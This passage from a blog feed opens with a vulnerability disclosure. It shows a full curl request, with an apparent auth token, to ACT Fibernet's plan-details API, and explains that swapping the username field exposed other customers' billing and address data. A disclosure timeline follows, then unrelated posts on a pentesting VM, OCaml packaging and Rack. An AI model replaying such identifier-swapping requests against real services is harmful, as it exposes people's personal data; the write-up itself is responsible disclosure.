curl https://myfibernet.actcorp.in/api/user/plandetails -H "Content-Type: application/json" -H "Authtoken: 2aee21dfb1ef77707c30f48ccc513ad60b74d1fc6a84d60ecc32323ab5941469" -H "Apiversion: 1.0" -H "Appversion: 32" -H "Devicetype: 1" -H "Deviceid: 68590327e3e0ca81" -H "Mobilenumber: 9999999999" -H "Mid: 8973808103928d98703e65c0106b7a9d4001886234afbc2d7ce6415b75f9c216" --data '{"username":"11111111"}'


The API responds back with the following:

{
  "code": 200,
  "status": true,
  "message": "Success",
  "data": {
    "plan_details": {
      "agreement_info": {
        "agreement_no": "XXXXXXXXXX",
        "promotion_code": "",
        "package_code": "ACTESS01M",
        "package_name": "",
        "agreement_startdate": "DD/MM/YYYY",
        "expiry_date": "",
        "status": "",
        "entity_code": "[]",
        "subscription_period": "[]",
        "payterm": "[]",
        "billingcycle_code": "[]",
        "contract_type": "ISP",
        "outlets": "1",
        "service_points": "",
        "package_tenure": int,
        "due_date": ""
      },
      "product_info": {
        "product_code": "",
        "product_desc": ""
      }
    },
    "plan_usage_info": {
      "service_id": "ACTESS01M",
      "service_name": "ACTESS01M",
      "outbyteslimit": 322122547200,
      "outbytesremaining": 153400581140,
      "outbytesused": 168721966060
    },
    "bill_info": {
      "accountno": "111111112233",
      "subscribername": "NAME",
      "phonenumber": "PHONENUMBER",
      "address": {
        "line1": "YUP",
        "line2": "THESE TWO LINES WERE FILLED",
        "line3": "",
        "district": "AND THIS",
        "city": "BANGALORE",
        "state": "KARNATAKA",
        "country": "India"
      },
      "billno": "10000001111",
      "billdate": "DD/MM/2016",
      "account_period": "01/MM/2016-30/MM/2016",
      "previous_due": "",
      "current_invoice_amt": "1234",
      "total_due": "0",
      "bill_due_date": "15 Nov 2016"
    }
  }
}


Some of these are empty fields, and some values that I didn’t understand I’ve replaced with [].
The fun part is that the request is actually a POST and contains the following data:
{"username":"11111111"}
I happen to have friends who also use ACT. I asked around for usernames, and just by changing this one parameter in the request, I could access the complete details of almost everyone else.
Almost everyone, because for certain cases, I get a valid empty response. Valid because it has the same schema, but empty because all values are empty strings. Don’t know what that happens consistently only for certain accounts. (One of these was a Hyd account, the other in BLR).
If you are interested I’m working on a simple API that lets you access the ACT API to check the same details. It would ask you for an OTP the first time you login, and then cache the credentials to let you check the balance easily.
I’ve reported this to ACT as soon as I found it. Will disclose after I’ve given them some time!
Update: This was reported and fixed by ACT after I managed to find a contact via an investor (really!).
Timeline
Date
      Details
    
29 Nov 2016
      Vulnerability Identified
    
29 Nov 2016
      Email sent to ACT, no response
    
6 Dec 2016
      Email sent with partial customer details to explain scope of the issue, no response
    
8 Dec 2016
      Reminder sent, no response
    
20 Jan 2017
      Another reminder with a writeup sent. I also set a deadline of 29th January (2 months since first contact). Also got in touch with CERT-IN. No response
    
23 Jan 2017
      Accidentally an investor in ACT saw my tweet and responded over twitter. Send a writeup, along with the suggestion to take down the application
    
24 Jan 2017
      ACT reports issue is fixed. I test and report back as fixed the next day
    
26 Mar 2017
      Report published
    
However, the huge timeline involved here pretty much guarantees that if you are an ACT customer,
your data is out there in the public.]]></description>
            <content:encoded><![CDATA[<p>ACT, for those who don’t know is one of India’s most popular broadband providers.</p>

<p>This is a very brief and concise summary.</p>

<ul>
  <li>ACT has a mobile application</li>
  <li>That allows you to login and check your plan details, data usage etc</li>
  <li>I’ve been wanting to build a command line application that lets me check the balance easily</li>
  <li>I tried scripting their website, but it was too much javascript.</li>
  <li>The mobile app uses an API to do the same</li>
  <li>The API happens to have really bad auth</li>
  <li>Got fixed almost 3 months after reporting this.</li>
</ul>

<p><strong>Request</strong></p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://myfibernet.actcorp.in/api/user/plandetails <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="nt">-H</span> <span class="s2">"Authtoken: 2aee21dfb1ef77707c30f48ccc513ad60b74d1fc6a84d60ecc32323ab5941469"</span> <span class="nt">-H</span> <span class="s2">"Apiversion: 1.0"</span> <span class="nt">-H</span> <span class="s2">"Appversion: 32"</span> <span class="nt">-H</span> <span class="s2">"Devicetype: 1"</span> <span class="nt">-H</span> <span class="s2">"Deviceid: 68590327e3e0ca81"</span> <span class="nt">-H</span> <span class="s2">"Mobilenumber: 9999999999"</span> <span class="nt">-H</span> <span class="s2">"Mid: 8973808103928d98703e65c0106b7a9d4001886234afbc2d7ce6415b75f9c216"</span> <span class="nt">--data</span> <span class="s1">'{"username":"11111111"}'</span>
</code></pre></div></div>

<p>The API responds back with the following:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"code"</span><span class="p">:</span><span class="w"> </span><span class="mi">200</span><span class="p">,</span><span class="w">
  </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
  </span><span class="nl">"message"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Success"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"plan_details"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"agreement_info"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"agreement_no"</span><span class="p">:</span><span class="w"> </span><span class="s2">"XXXXXXXXXX"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"promotion_code"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
        </span><span class="nl">"package_code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ACTESS01M"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"package_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
        </span><span class="nl">"agreement_startdate"</span><span class="p">:</span><span class="w"> </span><span class="s2">"DD/MM/YYYY"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"expiry_date"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
        </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
        </span><span class="nl">"entity_code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[]"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"subscription_period"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[]"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"payterm"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[]"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"billingcycle_code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[]"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"contract_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ISP"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"outlets"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"service_points"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
        </span><span class="nl">"package_tenure"</span><span class="p">:</span><span class="w"> </span><span class="err">int</span><span class="p">,</span><span class="w">
        </span><span class="nl">"due_date"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"product_info"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"product_code"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
        </span><span class="nl">"product_desc"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"plan_usage_info"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"service_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ACTESS01M"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"service_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ACTESS01M"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"outbyteslimit"</span><span class="p">:</span><span class="w"> </span><span class="mi">322122547200</span><span class="p">,</span><span class="w">
      </span><span class="nl">"outbytesremaining"</span><span class="p">:</span><span class="w"> </span><span class="mi">153400581140</span><span class="p">,</span><span class="w">
      </span><span class="nl">"outbytesused"</span><span class="p">:</span><span class="w"> </span><span class="mi">168721966060</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"bill_info"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"accountno"</span><span class="p">:</span><span class="w"> </span><span class="s2">"111111112233"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"subscribername"</span><span class="p">:</span><span class="w"> </span><span class="s2">"NAME"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"phonenumber"</span><span class="p">:</span><span class="w"> </span><span class="s2">"PHONENUMBER"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"address"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"line1"</span><span class="p">:</span><span class="w"> </span><span class="s2">"YUP"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"line2"</span><span class="p">:</span><span class="w"> </span><span class="s2">"THESE TWO LINES WERE FILLED"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"line3"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
        </span><span class="nl">"district"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AND THIS"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"city"</span><span class="p">:</span><span class="w"> </span><span class="s2">"BANGALORE"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"state"</span><span class="p">:</span><span class="w"> </span><span class="s2">"KARNATAKA"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"country"</span><span class="p">:</span><span class="w"> </span><span class="s2">"India"</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"billno"</span><span class="p">:</span><span class="w"> </span><span class="s2">"10000001111"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"billdate"</span><span class="p">:</span><span class="w"> </span><span class="s2">"DD/MM/2016"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"account_period"</span><span class="p">:</span><span class="w"> </span><span class="s2">"01/MM/2016-30/MM/2016"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"previous_due"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
      </span><span class="nl">"current_invoice_amt"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1234"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"total_due"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"bill_due_date"</span><span class="p">:</span><span class="w"> </span><span class="s2">"15 Nov 2016"</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Some of these are empty fields, and some values that I didn’t understand I’ve replaced with <code class="language-plaintext highlighter-rouge">[]</code>.</p>

<p>The fun part is that the request is actually a POST and contains the following data:</p>

<p><code class="language-plaintext highlighter-rouge">{"username":"11111111"}</code></p>

<p>I happen to have friends who also use ACT. I <a href="https://twitter.com/captn3m0/status/803579876502405120">asked around for usernames</a>, and just by changing this one parameter in the request, I could access the complete details of almost everyone else.</p>

<p>Almost everyone, because for certain cases, I get a valid empty response. Valid because it has the same schema, but empty because all values are empty strings. Don’t know what that happens consistently only for certain accounts. (One of these was a Hyd account, the other in BLR).</p>

<p>If you are interested I’m working on a simple API that lets you access the ACT API to check the same details. It would ask you for an OTP the first time you login, and then cache the credentials to let you check the balance easily.</p>

<p><del>I’ve reported this to ACT as soon as I found it. Will disclose after I’ve given them some time!</del></p>

<p><strong>Update</strong>: This was reported and fixed by ACT after I managed to find a contact via an investor (really!).</p>

<p><strong>Timeline</strong></p>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Details</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>29 Nov 2016</td>
      <td>Vulnerability Identified</td>
    </tr>
    <tr>
      <td>29 Nov 2016</td>
      <td>Email sent to ACT, no response</td>
    </tr>
    <tr>
      <td>6 Dec 2016</td>
      <td>Email sent with partial customer details to explain scope of the issue, no response</td>
    </tr>
    <tr>
      <td>8 Dec 2016</td>
      <td>Reminder sent, no response</td>
    </tr>
    <tr>
      <td>20 Jan 2017</td>
      <td>Another reminder with a writeup sent. I also set a deadline of 29th January (2 months since first contact). Also got in touch with CERT-IN. <em>No response</em></td>
    </tr>
    <tr>
      <td>23 Jan 2017</td>
      <td>Accidentally an investor in ACT saw my tweet and responded over twitter. Send a writeup, along with the suggestion to take down the application</td>
    </tr>
    <tr>
      <td>24 Jan 2017</td>
      <td>ACT reports issue is fixed. I test and report back as fixed the next day</td>
    </tr>
    <tr>
      <td>26 Mar 2017</td>
      <td>Report published</td>
    </tr>
  </tbody>
</table>

<p>However, the huge timeline involved here pretty much guarantees that if you are an ACT customer,
your data is out there in the public.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[CCTC Challenge VM]]></title>
            <link>https://captnemo.in/blog/2017/03/25/cctc-vm-images/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2017/03/25/cctc-vm-images/</guid>
            <pubDate>Sat, 25 Mar 2017 00:00:00 GMT</pubDate>
            <description><![CDATA[This is specifically about the contest held in 2011,
6 years ago. I’ve written about my experience
during the contest on this blog.
More specifically, Round 2 of the contest was a pentesting
scenario where we were only provided with a VM image
and asked to test it and report any vulnerabilities
that we found.
I recently found the VirtualBox images, and thought
I’d share them as a easy intro to web security.
Instructions
Reach out to me for the VM image
Hack.
Credentials are student:student (username:password)
Open /cctc in your browser.
Rules
Only application and its serving components can be tested for vulnerabilities. The serving components include
    
Webserver
Operating System
Any other services/files in the guest machine and guest operating system
Any vulnerability identified in any component outside the above mentioned ones, will not be used for evaluation
All participants should necessarily submit all the exploit codes/custom scripts written to identify the vulnerabilities in the system.
The deadline for the original challenge was 2 weeks, but you’re free to take as much time as you want. Feel free to publish a list of vulnerabilities you find.
The attached spreadsheet provides format of the report, challenges in scope, and the details to be filled out for each vulnerability identified.
The tasks to be performed are mentioned in the report. Each task consists of the following sections:
Vulnerability/Vulnerabilities - You need to write the description of the vulnerability
Root Cause(s) - What is the root cause of the vulnerability?
Approach adopted (Steps with screenshots) – Write the steps followed to exploit the vulnerability along with screenshot of the final screen and/or intermediate steps.
Remediation with sample code snippet – Write the remediation steps to address this vulnerability. Also, write the sample code if applicable.
Also attached is a step by step installation guide for application set-up.
Few points to be considered:
Challenges can be attempted and completed in any order.
Only the application and its serving components can be tested for vulnerabilities. All other components like VMware, if tested for security issues, would lead to disqualification.
I will not be responsible for the discovery/notification of any zero day vulnerability in any software.  If any zero-day vulnerability is identified, it is the responsibility of the concerned participant to notify the vulnerability to the respective vendor as per vendor’s policy.
If you are really interested, you can find a copy of the report
we submitted at /reports/cctc.
Thanks to Harshil and Shobhit for working alongside on this.]]></description>
            <content:encoded><![CDATA[<p>This is specifically about the contest held in 2011,
6 years ago. I’ve written about my experience
during the contest <a href="https://captnemo.in/blog/2011/11/20/cctc-blog/">on this blog</a>.</p>

<p>More specifically, Round 2 of the contest was a pentesting
scenario where we were only provided with a VM image
and asked to test it and report any vulnerabilities
that we found.</p>

<p>I recently found the VirtualBox images, and thought
I’d share them as a easy intro to web security.</p>

<h1 id="instructions">Instructions</h1>

<ol>
  <li><a href="https://captnemo.in/contact/">Reach out to me</a> for the VM image</li>
  <li>Hack.</li>
  <li>Credentials are student:student (username:password)</li>
  <li>Open <VM_IP>/cctc in your browser.</VM_IP></li>
</ol>

<h1 id="rules">Rules</h1>
<ol>
  <li>Only application and its serving components can be tested for vulnerabilities. The serving components include
    <ul>
      <li>Webserver</li>
      <li>Operating System</li>
      <li>Any other services/files in the guest machine and guest operating system</li>
    </ul>
  </li>
  <li>Any vulnerability identified in any component outside the above mentioned ones, will not be used for evaluation</li>
  <li>All participants should necessarily submit all the exploit codes/custom scripts written to identify the vulnerabilities in the system.</li>
  <li>The deadline for the original challenge was 2 weeks, but you’re free to take as much time as you want. Feel free to publish a list of vulnerabilities you find.</li>
</ol>

<p><a href="https://docs.google.com/spreadsheets/d/1s_o-HGlS2dKbDnm2mjTbgXpDHDHQgMYXlbOMEVNaBvY/edit?usp=sharing">The attached spreadsheet</a> provides format of the report, challenges in scope, and the details to be filled out for each vulnerability identified.</p>

<p>The tasks to be performed are mentioned in the report. Each task consists of the following sections:</p>

<ol>
  <li>Vulnerability/Vulnerabilities - You need to write the description of the vulnerability</li>
  <li>Root Cause(s) - What is the root cause of the vulnerability?</li>
  <li>Approach adopted (Steps with screenshots) – Write the steps followed to exploit the vulnerability along with screenshot of the final screen and/or intermediate steps.</li>
  <li>Remediation with sample code snippet – Write the remediation steps to address this vulnerability. Also, write the sample code if applicable.</li>
</ol>

<p>Also <a href="https://drive.google.com/file/d/0B2qzfUR1eWklMHJONkZPUkVqLWZPS3pwTzFDYW84aVJhbjZB/view?usp=sharing">attached is a step by step installation guide</a> for application set-up.</p>

<p>Few points to be considered:</p>

<ul>
  <li>Challenges can be attempted and completed in any order.</li>
  <li>Only the application and its serving components can be tested for vulnerabilities. All other components like VMware, if tested for security issues, would lead to disqualification.</li>
  <li>I will not be responsible for the discovery/notification of any zero day vulnerability in any software.  If any zero-day vulnerability is identified, it is the responsibility of the concerned participant to notify the vulnerability to the respective vendor as per vendor’s policy.</li>
</ul>

<p>If you are really interested, you can find a copy of the report
we submitted at <a href="https://captnemo.in/reports/cctc/">/reports/cctc</a>.</p>

<p>Thanks to Harshil and Shobhit for working alongside on this.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Building and Publishing an OCaml Package: Q1 2017]]></title>
            <link>https://kcsrk.info/ocaml/opam/topkg/carcass/2017/03/05/building-and-publishing-an-OCaml-package/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/opam/topkg/carcass/2017/03/05/building-and-publishing-an-OCaml-package/</guid>
            <pubDate>Sun, 05 Mar 2017 13:56:00 GMT</pubDate>
            <description><![CDATA[One of the key indicators of maturity of a language ecosystem is the ease of
building, managing and publishing software packages in that language. OCaml
platform has made steady progress in the last few years to this end. While
OPAM simplified package (and compiler) management,
the developing and publishing packages remained a constant pain point. This
situation has remarkably improved recently with the
Topkg and
Carcass. This post provides a short
overview of my workflow for building and publishing an OCaml package using Topkg
and Carcass.
Topkg is packager for distributing OCaml software. It provides an API for
describing rules for package builds and installs. Topkg-care provides the
command line tool topkg with support for creating and linting the
distribution, publishing the distribution and its documentation on WWW, and
making the package available through OPAM. Carcass is a library and a command
line tool for defining and generating the directory structure for the OCaml
package. At the time of writing this post, carcass was unreleased.
Workflow
I recently released a package for mergeable
vectors based on operational
transformation. The following describes my workflow to build and publish the
package.
Setup
Install topkg-care and carcass:

$ opam install topkg-care opam-publish
$ opam pin add -kgit carcass https://github.com/dbuenzli/carcass


Develop
Create the directory structure
    

  $ carcass body topkg/pkg mergeable_vector

    
Init
    

  $ cd mergeable_vector && git init && git add . && git commit -m "First commit."
  $ git remote add origin https://github.com/kayceesrk/mergeable-vector
  $ git push --set-upstream origin master

    
Develop: The mergeable_vector/src directory has the source files. I use
this Makefile
at the root of the package.
Test the package locally with OPAM
    

  $ opam pin add mergeable_vector .

    
Publish
Update the
CHANGES file for the new release.
Tag the release
    

  $ topkg tag 0.1.0

    
Build the distribution
    

  $ topkg distrib

    
Publish the distribution
    

  $ topkg publish distrib

    
This makes a new release on Github.
Publish the doc
    

  $ topkg publish doc

    
This publishes the documentation on Github.
Make an OPAM package info and submit it to OPAM repository at opam.ocaml.org.
    

  $ topkg opam pkg
  $ topkg opam submit

    
This creates a Github PR
to the opam-repository. Once the
PR is merged, the package becomes available to the users.]]></description>
            <content:encoded><![CDATA[<p>One of the key indicators of maturity of a language ecosystem is the ease of
building, managing and publishing software packages in that language. OCaml
platform has made steady progress in the last few years to this end. While
<a href="https://opam.ocaml.org/">OPAM</a> simplified package (and compiler) management,
the developing and publishing packages remained a constant pain point. This
situation has remarkably improved recently with the
<a href="http://erratique.ch/software/topkg">Topkg</a> and
<a href="https://github.com/dbuenzli/carcass">Carcass</a>. This post provides a short
overview of my workflow for building and publishing an OCaml package using Topkg
and Carcass.</p>

<!--more-->

<p>Topkg is packager for distributing OCaml software. It provides an API for
describing rules for package builds and installs. Topkg-care provides the
command line tool <code class="language-plaintext highlighter-rouge">topkg</code> with support for creating and linting the
distribution, publishing the distribution and its documentation on WWW, and
making the package available through OPAM. Carcass is a library and a command
line tool for defining and generating the directory structure for the OCaml
package. At the time of writing this post, carcass was unreleased.</p>

<h2 id="workflow">Workflow</h2>

<p>I recently released a package for <a href="https://github.com/kayceesrk/mergeable-vector">mergeable
vectors</a> based on operational
transformation. The following describes my workflow to build and publish the
package.</p>

<h3 id="setup">Setup</h3>

<p>Install <code class="language-plaintext highlighter-rouge">topkg-care</code> and <code class="language-plaintext highlighter-rouge">carcass</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ opam install topkg-care opam-publish
$ opam pin add -kgit carcass https://github.com/dbuenzli/carcass
</code></pre></div></div>

<h3 id="develop">Develop</h3>

<ul>
  <li>Create the directory structure
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  $ carcass body topkg/pkg mergeable_vector
</code></pre></div>    </div>
  </li>
  <li>Init
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  $ cd mergeable_vector &amp;&amp; git init &amp;&amp; git add . &amp;&amp; git commit -m "First commit."
  $ git remote add origin https://github.com/kayceesrk/mergeable-vector
  $ git push --set-upstream origin master
</code></pre></div>    </div>
  </li>
  <li>
    <p>Develop: The <code class="language-plaintext highlighter-rouge">mergeable_vector/src</code> directory has the source files. I use
<a href="https://github.com/kayceesrk/mergeable-vector/blob/master/Makefile">this Makefile</a>
at the root of the package.</p>
  </li>
  <li>Test the package locally with OPAM
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  $ opam pin add mergeable_vector .
</code></pre></div>    </div>
  </li>
</ul>

<h3 id="publish">Publish</h3>

<ul>
  <li>Update the
<a href="https://github.com/kayceesrk/mergeable-vector/blob/master/CHANGES.md">CHANGES</a> file for the new release.</li>
  <li>Tag the release
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  $ topkg tag 0.1.0
</code></pre></div>    </div>
  </li>
  <li>Build the distribution
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  $ topkg distrib
</code></pre></div>    </div>
  </li>
  <li>Publish the distribution
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  $ topkg publish distrib
</code></pre></div>    </div>
    <p>This makes a new release on <a href="https://github.com/kayceesrk/mergeable-vector/releases">Github</a>.</p>
  </li>
  <li>Publish the doc
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  $ topkg publish doc
</code></pre></div>    </div>
    <p>This publishes the documentation on <a href="http://kayceesrk.github.io/mergeable-vector/doc/">Github</a>.</p>
  </li>
  <li>Make an OPAM package info and submit it to OPAM repository at <a href="https://opam.ocaml.org/">opam.ocaml.org</a>.
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  $ topkg opam pkg
  $ topkg opam submit
</code></pre></div>    </div>
    <p>This creates a Github <a href="https://github.com/ocaml/opam-repository/pull/8623">PR</a>
to the <a href="https://github.com/ocaml/opam-repository">opam-repository</a>. Once the
PR is merged, the package becomes available to the users.</p>
  </li>
</ul>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Let’s learn rack by implementing it from scratch]]></title>
            <link>https://aboobacker.in/2017/02/15/lets-learn-rack-by-implementing-it-from-scratch.html</link>
            <guid isPermaLink="false">https://aboobacker.in/2017/02/15/lets-learn-rack-by-implementing-it-from-scratch.html</guid>
            <pubDate>Wed, 15 Feb 2017 19:58:20 GMT</pubDate>
            <description><![CDATA[Rack is a framework for ruby web frameworks. If you developed apps in ruby frameworks like rails, hanami, Sinatra, you already used  Rack. Almost all ruby web frameworks use rack under the hood, If you are already familiar with rack then you can skip next step and go to re building  part
Introduction To Rack
Rack provides minimalistic API to interact, First let’s have a look at rack
A rack app is an object which takes request environment hash and provides array of 3 elements the output, rack object should respond to the method call
The HTTP response code
Headers hash
response body object which responds to each
The obvious question here is why does rack says about responding to the particular method. This one of the powerful paradigm available in ruby called duck typing. ie rack doesn’t care about the object or it’s implementation as long as it responds to the particular method
Let’s take a look at a simple example.
Install rack

  gem install rack


create a file with name config.ru

# config.ru
run Proc.new { |env| ['200', {'Content-Type' => 'text/html'}, ['Hello World\'d']] }


and run the command rackup
Now open the browser and vist localhost:9292
Congratulations !, You just made a rack app with just a single line
Now let’s have look at the above example
We have a proc object which responds to call method. 200as status  code  , an array consist of
{'Content-Type' => 'text/html'} as Response header
and
['Hello World \'d'] as body
Since rack do not care about the kind of rack object, we can do the same using class or an object


class SuperCoolApp
  def call(env)
    ['200', {'Content-Type' => 'text/html'}, ['Hello World\'d']]
  end
end
run SuperCoolApp




class CoolApp
  def self.call(env)
    ['200', {'Content-Type' => 'text/html'}, ['Hello World\'d']]
  end
end

run SuperCoolApp.new


But this doesn’t do anything interesting, this will just display Hello World for all requests . Because we were returning same output without even considering the parameter env . Let’s have a look into by returning env hash as output

class CoolApp
  def self.call(env)
    ['200', {'Content-Type' => 'text/html'}, [env.inspect]]
  end
end



Now run rackup and goto localhost:9292/hello/world
Output will be something like this

{"rack.version"=>[1, 3], "rack.errors"=>#>>, "rack.multithread"=>true, "rack.multiprocess"=>false, "rack.run_once"=>false, "SCRIPT_NAME"=>"", "QUERY_STRING"=>"", "SERVER_PROTOCOL"=>"HTTP/1.1", "SERVER_SOFTWARE"=>"puma 3.6.0 Sleepy Sunday Serenity", "GATEWAY_INTERFACE"=>"CGI/1.2", "REQUEST_METHOD"=>"GET", "REQUEST_PATH"=>"/hello/world", "REQUEST_URI"=>"/hello/world", "HTTP_VERSION"=>"HTTP/1.1", "HTTP_HOST"=>"localhost:9292", "HTTP_CONNECTION"=>"keep-alive", "HTTP_UPGRADE_INSECURE_REQUESTS"=>"1", "HTTP_USER_AGENT"=>"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", "HTTP_ACCEPT"=>"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "HTTP_DNT"=>"1", "HTTP_ACCEPT_ENCODING"=>"gzip, deflate, sdch, br", "HTTP_ACCEPT_LANGUAGE"=>"en-US,en;q=0.8,ml;q=0.6", "SERVER_NAME"=>"localhost", "SERVER_PORT"=>"9292", "PATH_INFO"=>"/hello/world", "REMOTE_ADDR"=>"127.0.0.1", "puma.socket"=>#, "rack.hijack?"=>true, "rack.hijack"=>#, "rack.input"=>#>, "rack.url_scheme"=>"http", "rack.after_reply"=>[], "puma.config"=>#"development", :pid=>nil, :Port=>9292, :Host=>"localhost", :AccessLog=>[], :config=>"/home/tachyons/code/rack/config.ru"}, {:log_requests=>false, :environment=>"development", :binds=>["tcp://localhost:9292"], :app=>#, @content_length=nil>>, @logger=#>>>>}, {:environment=>"development"}, {}], @defaults={:min_threads=>0, :max_threads=>16, :log_requests=>false, :debug=>false, :binds=>["tcp://0.0.0.0:9292"], :workers=>0, :daemon=>false, :mode=>:http, :worker_timeout=>60, :worker_boot_timeout=>60, :worker_shutdown_timeout=>30, :remote_address=>:socket, :tag=>"rack", :environment=>"development", :rackup=>"config.ru", :logger=>#>, :persistent_timeout=>20}>, @plugins=#>, "rack.tempfiles"=>[]}



Now change url and see the changes output
To make it clear Let’s build a simple app to hello

class CoolApp
  def self.call(env)
    ['200', {'Content-Type' => 'text/html'}, [ "Hi " + env['REQUEST_PATH'].split('/').join(" ")]]
  end
end

run CoolApp


Run rackup again, and go to localhost:9292/aboobacker/mk
App will respond “Hi aboobacker mk”
You can implement your own logic using the env variable provided by rack
Rack also provides Rack Request Abstraction which provides a convenient interface to a Rack environment.
But that is not the end, rack also provides feature called middleware, which let you use multiple rack apps as pipeline . ie output of one rack app will feed as input to next rack app . Let’s check that by one example

class ReverseOutput
  def initialize(app)
    @app = app 
  end

  def call(env) 
    status, headers, body = @app.call(env) 
    body = body.map { |msg| msg.reverse } 
    [status, headers, body] 
  end 
end 

class CoolApp
  def self.call(env)
    ['200', {'Content-Type' => 'text/html'}, [ "Hi " + env['REQUEST_PATH'].split('/').join(" ")]]
  end
end

use ReverseOutput
run CoolApp


Here we made a simple middleware ReverseOutput which will reverse the response body, You can add any number of middlewares like this, also you can use pre defined middlewares provided by the rack and open source general purpose middlewares. List of middlewares
Building from scratch
Now let’s have a look at how the rack works by making a rack like library from scratch, Let’s name it Srack. But one obvious question here is why rackup file is config.ru, not config.rb ? . Also from where the methods like use, run etc are coming
Let’s look at our first code sample in a different way

# app.rb
  Rack::Builder.app do
    run Proc.new { |env| ['200', {'Content-Type' => 'text/html'}, ['Hello World\'d']] }
  end


Here we can see that config.ru is a block that is to be passed to Rack::Builder.app method

bundle gem srack


